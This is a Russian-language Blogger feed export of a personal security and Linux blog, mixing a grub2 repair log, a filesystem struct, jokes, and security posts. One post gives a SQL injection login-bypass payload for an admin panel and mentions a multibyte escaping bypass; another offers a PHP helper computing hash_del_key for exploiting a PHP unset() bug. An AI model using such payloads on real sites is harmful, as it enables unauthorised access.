<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6085691229162578785</id><updated>2011-08-02T01:33:35.945+04:00</updated><category term='tools'/><category term='Вобче'/><category term='SQL INJ'/><category term='OS'/><category term='ссылки'/><title type='text'>Мой Карфаген</title><subtitle type='html'>...Кроме того, я думаю, что Карфаген должен быть разрушен...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://scipio-vs-carthago.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://scipio-vs-carthago.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Scipio</name><uri>http://www.blogger.com/profile/10752038718567475267</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='28' src='http://1.bp.blogspot.com/_P6c1Ss9IE4g/SdIUghW-pNI/AAAAAAAAAAM/FPEDuR_KgsE/S220/Scipio_Africanus_the_Elder.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>10</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6085691229162578785.post-7442978342968173365</id><published>2010-04-06T19:02:00.000+04:00</published><updated>2010-04-06T19:02:21.712+04:00</updated><title type='text'></title><content type='html'>gnome-blog апплет&lt;br /&gt;&lt;p&gt;Поставил себе этот апплет. Собственно эта запись и является тестированием апплета. Настроек минимум да и вообще, этот апплет я думаю мне не подойдет, так как я хочу делать упор на объем  каждой записи, а не на их количество. Наверное это ужасно удобная штука для тех кто публикует свои мысли и переживания... Нет, все же мне это не подходит&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6085691229162578785-7442978342968173365?l=scipio-vs-carthago.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scipio-vs-carthago.blogspot.com/feeds/7442978342968173365/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2010/04/gnome-blog.html#comment-form' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/7442978342968173365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/7442978342968173365'/><link rel='alternate' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2010/04/gnome-blog.html' title=''/><author><name>Scipio</name><uri>http://www.blogger.com/profile/10752038718567475267</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='28' src='http://1.bp.blogspot.com/_P6c1Ss9IE4g/SdIUghW-pNI/AAAAAAAAAAM/FPEDuR_KgsE/S220/Scipio_Africanus_the_Elder.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6085691229162578785.post-4955636416396670456</id><published>2010-04-06T11:29:00.005+04:00</published><updated>2010-04-06T13:00:14.779+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OS'/><category scheme='http://www.blogger.com/atom/ns#' term='Вобче'/><title type='text'>grub2 блин</title><content type='html'>&lt;p&gt;Решил поставить на Ubuntu 9.10 grub2. Сложного ничего нет, вроде как, набрал:&lt;/p&gt;&lt;p&gt;&lt;code&gt;sudo apt-get grub-pc&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Со всем согласился, перезагрузился , при перезагрузке проверил, что все встало норм, осталось только закрепить. Я набрал в консольке:&lt;/p&gt;&lt;p&gt;&lt;code&gt;sudo upgrade-from-grub-legacy&lt;/code&gt;&lt;/p&gt;&lt;p&gt;А дальше начал бездумно и не читая тыкать на "ОК", компьютер вроде как умный и сам все знает. При этом забыл поставить... ммм... "галочку" при выборе устройства на котором grub2 пропишется (а всего то нужно было /dev/sda выбрать). Перезагрузился, ну и словил ошибку &lt;/p&gt;&lt;p&gt;&lt;code&gt;Error 15:чтототам&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Немного расстроился так как время было 6 утра и хотелось спать. LiveCD не нашел (у меня вообще бардак в связи с ремонтом, хотя может просто... бардак) Зато нашел dvd с Kubuntu старенькой, чему несказанно и опрометчиво обрадовался. Вобщем загрузился я вернее Kubuntu. Попробовал премонтировать диск с KK, набрал:&lt;/p&gt;&lt;p&gt;&lt;code&gt;sudo fdisk -l&lt;/code&gt;&lt;/p&gt;&lt;p&gt;увидел то, что мне нужно:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Устр-во Загр     Начало       Конец       Блоки   Id  Система&lt;br /&gt;/dev/sda1               1         784     6297448+  83  Linux&lt;br /&gt;/dev/sda2   *         785        6273    44086392    7  HPFS/NTFS&lt;br /&gt;/dev/sda3            6273       12848    52814017    7  HPFS/NTFS&lt;br /&gt;/dev/sda4           12849       19457    53086792+   5  Расширенный&lt;br /&gt;/dev/sda5           12849       19181    50869791   83  Linux&lt;br /&gt;/dev/sda6           19182       19457     2216938+  82  Linux своп / Solaris&lt;/code&gt;&lt;/p&gt;&lt;p&gt;и попробовал примонтировать:&lt;/p&gt;&lt;p&gt;&lt;code&gt;sudo mount /dev/sda1 /mnt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;на что кубанточка выплюнула несогласие с fs /dev/sda1:&lt;/p&gt;&lt;p&gt;&lt;code&gt;unknown filesystem type 'ext4' &lt;/code&gt;&lt;/p&gt;&lt;p&gt;Пришлось качать образ с оф сайта:&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.ubuntu.com/getubuntu/download"&gt;http://www.ubuntu.com/getubuntu/download&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Но как назло не нашел живой болванки, а бежать в магазин в 7 утра было совсем влом. Благо дело нашел флешку. Потом скачал замечательную программу UNetbootin c &lt;/p&gt;&lt;p&gt;&lt;a href="http://sourceforge.net/projects/unetbootin/files/UNetbootin/429/unetbootin-windows-429.exe/download"&gt;http://sourceforge.net/projects/unetbootin/files/UNetbootin/429/unetbootin-windows-429.exe/download&lt;/a&gt;&lt;/p&gt;&lt;p&gt;И создал LiveUSB. Загрузившись с нее я сдури примонтировал sda1:&lt;/p&gt;&lt;p&gt;&lt;code&gt;sudo mount /dev/sda1 /mnt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;и попытался сделать chroot /mnt, на это был послан chroot`ом в задницу по причине того что /bin/bash он не нашел. Все было просто, я не посмотрел на размер раздела и примонтировал раздел с... порнухой (это шутка). Вышел из chroot, отмонтировал все что не нужно) примонтировал то что нужно:&lt;/p&gt;&lt;p&gt;&lt;code&gt;sudo mount /dev/sda5 /mnt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;и создал синонимы текущих устройств в примонтированном разделе:&lt;/p&gt;&lt;p&gt;&lt;code&gt;sudo mount --bind /dev/ /mnt/dev&lt;/code&gt;&lt;/p&gt;&lt;p&gt;тут уже chroot заработал:&lt;/p&gt;&lt;p&gt;&lt;code&gt;sudo chroot /mnt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;дальше выполнил команду&lt;/p&gt;&lt;p&gt;&lt;code&gt;grub-install /dev/sda&lt;/code&gt;&lt;/p&gt;&lt;p&gt;В интернетах рекомендуют выполнить:&lt;/p&gt;&lt;p&gt;&lt;code&gt;grub-install --recheck /dev/sda&lt;/code&gt;&lt;/p&gt;&lt;p&gt;но мне оно не понадобилось. Перезагрузился и о чудо все заработало, правда винды не было видно. Зайдя в родную Ubuntu я в терминале набрал&lt;/p&gt;&lt;p&gt;&lt;code&gt;sudo update-grub&lt;/code&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;И после перезагрузки винда в меню grub`а появилась.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ЗЫ Этой заметкой я не хотел показать какие у меня кривые руки, я просто хотел написать правду ;)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6085691229162578785-4955636416396670456?l=scipio-vs-carthago.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scipio-vs-carthago.blogspot.com/feeds/4955636416396670456/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2010/04/grub2.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/4955636416396670456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/4955636416396670456'/><link rel='alternate' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2010/04/grub2.html' title='grub2 блин'/><author><name>Scipio</name><uri>http://www.blogger.com/profile/10752038718567475267</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='28' src='http://1.bp.blogspot.com/_P6c1Ss9IE4g/SdIUghW-pNI/AAAAAAAAAAM/FPEDuR_KgsE/S220/Scipio_Africanus_the_Elder.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6085691229162578785.post-1714630155430655427</id><published>2010-02-21T19:00:00.004+03:00</published><updated>2010-02-21T20:12:54.937+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL INJ'/><category scheme='http://www.blogger.com/atom/ns#' term='Вобче'/><title type='text'>Странно</title><content type='html'>Все хочу вести блог, но все не хватает времени. Недавно увидел исходники одного интересующего меня сайта, ну просто повезло... Это действительно было забавно, он использовал скрипт (ну что-то типа модуля), который обеспечивал возможность Basic HTTP аутентификации пользователей которые занесены в БД, конечно об авторизации не было и речи, если внутри, то ужо одминчег.  Забавно то, что скрипт проверял включена ли опция magic_quotes_gpc и если она выключена, то _SERVER['PHP_AUTH_USER'] экранируется с помощью mysql_escape_string() , это все конечно уязвимо при использовании двухбайтных кодировок (например китайской BIG5), кстати первый раз я встретил возможностьб обойти экранирование на сайте www.2checkout.com, сильно не правда ли (сильно, это я про значимость сайта)? Потом увидел &lt;a href="http://forum.antichat.ru/thread89082.html"&gt;статью Elekta&lt;/a&gt; и все стало понятно. Но смысл не в этом, смысл в том что если magic_quotes_gpc включена, то и обрабатывать данные не стоит, по мнению авторов. Даже буквы gpc на конце говорят про то, что обрабатывается только массив _REQUEST, вернее массивы_GET, _POST и _COOKIE. Кодеры!!! куда вы смотрите?!!! Пора забыть про такие элементарные ошибки, когда вся суть проникнуть в панель администратора заключается в том, что в поле логин нужно ввести:"asasasas' union select 1 -- 11" а в поле пароль:"1".  Давайте не будем позориться)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6085691229162578785-1714630155430655427?l=scipio-vs-carthago.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scipio-vs-carthago.blogspot.com/feeds/1714630155430655427/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2010/02/blog-post.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/1714630155430655427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/1714630155430655427'/><link rel='alternate' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2010/02/blog-post.html' title='Странно'/><author><name>Scipio</name><uri>http://www.blogger.com/profile/10752038718567475267</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='28' src='http://1.bp.blogspot.com/_P6c1Ss9IE4g/SdIUghW-pNI/AAAAAAAAAAM/FPEDuR_KgsE/S220/Scipio_Africanus_the_Elder.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6085691229162578785.post-8907324991403759302</id><published>2009-11-09T19:37:00.006+03:00</published><updated>2009-11-09T20:28:35.401+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OS'/><category scheme='http://www.blogger.com/atom/ns#' term='ссылки'/><title type='text'>UFS каталоги</title><content type='html'>Вот нашел структуру каталога в UFS. Блин, а я реверсил. Радует только то, что понял я тогда все правильно. Вот как это выглядит в файле &lt;a href="http://www.kernel-api.org/docs/online/2.6.1/d9/d86/ufs__fs_8h-source.html"&gt;ufs_fs.h&lt;/a&gt;&lt;br /&gt;&lt;pre class="fragment"&gt;&lt;span class="keyword"&gt;&lt;/span&gt;&lt;span class="comment"&gt;&lt;span class="comment"&gt;&lt;span class="comment"&gt;&lt;span class="comment"&gt;&lt;span class="comment"&gt;&lt;span class="comment"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;  &lt;span style="color: rgb(51, 204, 0);"&gt;struct&lt;/span&gt; ufs_dir_entry {&lt;br /&gt;&lt;pre&gt;        &lt;span style="color: rgb(0, 0, 153);"&gt;__u32  &lt;span style="color: rgb(0, 0, 0);"&gt;d_ino;&lt;/span&gt;&lt;/span&gt;                           &lt;span style="color: rgb(204, 0, 0);"&gt;///inode number of this entry&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 153);"&gt;__u16&lt;/span&gt;  &lt;span style="color: rgb(0, 0, 0);"&gt;d_reclen;&lt;/span&gt;                        &lt;span style="color: rgb(204, 0, 0);"&gt;///length of this entry&lt;br /&gt;       &lt;span style="color: rgb(51, 204, 0);"&gt;union&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;                &lt;span style="color: rgb(0, 0, 153);"&gt;__u16&lt;/span&gt;   &lt;span style="color: rgb(0, 0, 0);"&gt;d_namlen;&lt;/span&gt;           &lt;span style="color: rgb(204, 0, 0);"&gt;   ///actual length of d_name&lt;br /&gt;                &lt;span style="color: rgb(51, 204, 0);"&gt;struct&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;                          &lt;span style="color: rgb(0, 0, 153);"&gt;__u8&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;   d_type;&lt;/span&gt;      &lt;span style="color: rgb(204, 0, 0);"&gt;///file type&lt;br /&gt;                          &lt;span style="color: rgb(0, 0, 153);"&gt;__u8&lt;/span&gt;    &lt;span style="color: rgb(0, 0, 0);"&gt;d_namlen;&lt;/span&gt;    &lt;span style="color: rgb(204, 0, 0);"&gt;///length of string in d_name&lt;br /&gt;                        &lt;span style="color: rgb(0, 0, 0);"&gt;} d_44;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;               } d_u;&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 153);"&gt;__u8&lt;/span&gt;    &lt;span style="color: rgb(0, 0, 0);"&gt;d_name[UFS_MAXNAMLEN + 1];&lt;/span&gt;     &lt;span style="color: rgb(204, 0, 0);"&gt;///file name&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6085691229162578785-8907324991403759302?l=scipio-vs-carthago.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scipio-vs-carthago.blogspot.com/feeds/8907324991403759302/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/11/ufs.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/8907324991403759302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/8907324991403759302'/><link rel='alternate' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/11/ufs.html' title='UFS каталоги'/><author><name>Scipio</name><uri>http://www.blogger.com/profile/10752038718567475267</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='28' src='http://1.bp.blogspot.com/_P6c1Ss9IE4g/SdIUghW-pNI/AAAAAAAAAAM/FPEDuR_KgsE/S220/Scipio_Africanus_the_Elder.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6085691229162578785.post-8939833324005289593</id><published>2009-08-19T07:11:00.003+04:00</published><updated>2009-08-19T07:19:16.968+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Вобче'/><title type='text'>навеяло, блин</title><content type='html'>Кому то  Whisky, кому то Whiskas.&lt;br /&gt;Кому то бабы, кому то киски.&lt;br /&gt;Кому то просто, сидеть и хекать&lt;br /&gt;Кому то, сцуко, орать и бегать.&lt;br /&gt;&lt;br /&gt;Ах, да, забыл, у меня же труъ секурный блог, больше такого не будет, просто животное достало!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6085691229162578785-8939833324005289593?l=scipio-vs-carthago.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scipio-vs-carthago.blogspot.com/feeds/8939833324005289593/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/08/blog-post.html#comment-form' title='Комментарии: 9'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/8939833324005289593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/8939833324005289593'/><link rel='alternate' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/08/blog-post.html' title='навеяло, блин'/><author><name>Scipio</name><uri>http://www.blogger.com/profile/10752038718567475267</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='28' src='http://1.bp.blogspot.com/_P6c1Ss9IE4g/SdIUghW-pNI/AAAAAAAAAAM/FPEDuR_KgsE/S220/Scipio_Africanus_the_Elder.png'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6085691229162578785.post-6541071776216372720</id><published>2009-08-17T08:55:00.004+04:00</published><updated>2009-08-17T15:04:32.956+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><title type='text'>Вычисляем hash_del_key</title><content type='html'>&lt;div style="text-align: left;"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;span style="color: rgb(0, 0, 187);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;Скрипт от меня, для вычисления hash_del_key который требуется при использовании баги связанной с unset()&lt;br /&gt;&lt;/div&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;div style="text-align: left;"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;    &amp;lt;?php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;/div&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;        //вычисление hash_del_key для переменных php4 и php5&lt;br /&gt;           &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$h &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;5381&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;           &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$st&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'s'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;//здесь имя переменной для которой считать хеш&lt;br /&gt;           &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;for (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$i&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$i&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;strlen&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$st&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$i&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;++)&lt;br /&gt;        {&lt;br /&gt;                       &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$h &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+= (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$h &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;&lt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;5&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$h &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;^= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;ord&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$st&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$i&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]);&lt;br /&gt;        }&lt;br /&gt;           echo &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"hash_del_key_php4: $h"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;//вывод хеша php4&lt;br /&gt;&lt;br /&gt;           &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$h &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;5381&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;    for (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$i&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$i&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;strlen&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$st&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$i&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;++)&lt;br /&gt;                    {&lt;br /&gt;                      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$h &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+= (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$h &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;&lt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;5&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;         &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$h &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;ord&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$st&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$i&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]);&lt;br /&gt;                     }&lt;br /&gt;           echo &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"hash_del_key_php5: $h"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(255, 128, 0);"&gt;//вывод хеша php5&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;br /&gt;?&gt;&lt;/span&gt; &lt;/span&gt; &lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6085691229162578785-6541071776216372720?l=scipio-vs-carthago.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scipio-vs-carthago.blogspot.com/feeds/6541071776216372720/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/08/hashdelkey-unset-hashdelkey-php4-php5-h.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/6541071776216372720'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/6541071776216372720'/><link rel='alternate' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/08/hashdelkey-unset-hashdelkey-php4-php5-h.html' title='Вычисляем hash_del_key'/><author><name>Scipio</name><uri>http://www.blogger.com/profile/10752038718567475267</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='28' src='http://1.bp.blogspot.com/_P6c1Ss9IE4g/SdIUghW-pNI/AAAAAAAAAAM/FPEDuR_KgsE/S220/Scipio_Africanus_the_Elder.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6085691229162578785.post-8828053742550784743</id><published>2009-04-01T03:26:00.004+04:00</published><updated>2009-04-01T03:37:34.353+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Вобче'/><title type='text'>1 АПРЕЛЯ!!!</title><content type='html'>Н. В. Гоголю исполнилось бы 200 лет. Но что такое 200 лет по сравнению с вечностью, ибо Гоголь вечен.&lt;br /&gt;Гугл как всегда не остался в стороне от такого события, такой даты:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_P6c1Ss9IE4g/SdKo2lvBb4I/AAAAAAAAABY/MhC6odlJQ80/s1600-h/Google.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 219px;" src="http://4.bp.blogspot.com/_P6c1Ss9IE4g/SdKo2lvBb4I/AAAAAAAAABY/MhC6odlJQ80/s400/Google.jpg" alt="" id="BLOGGER_PHOTO_ID_5319499765673717634" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6085691229162578785-8828053742550784743?l=scipio-vs-carthago.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scipio-vs-carthago.blogspot.com/feeds/8828053742550784743/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/04/1.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/8828053742550784743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6085691229162578785/posts/default/8828053742550784743'/><link rel='alternate' type='text/html' href='http://scipio-vs-carthago.blogspot.com/2009/04/1.html' title='1 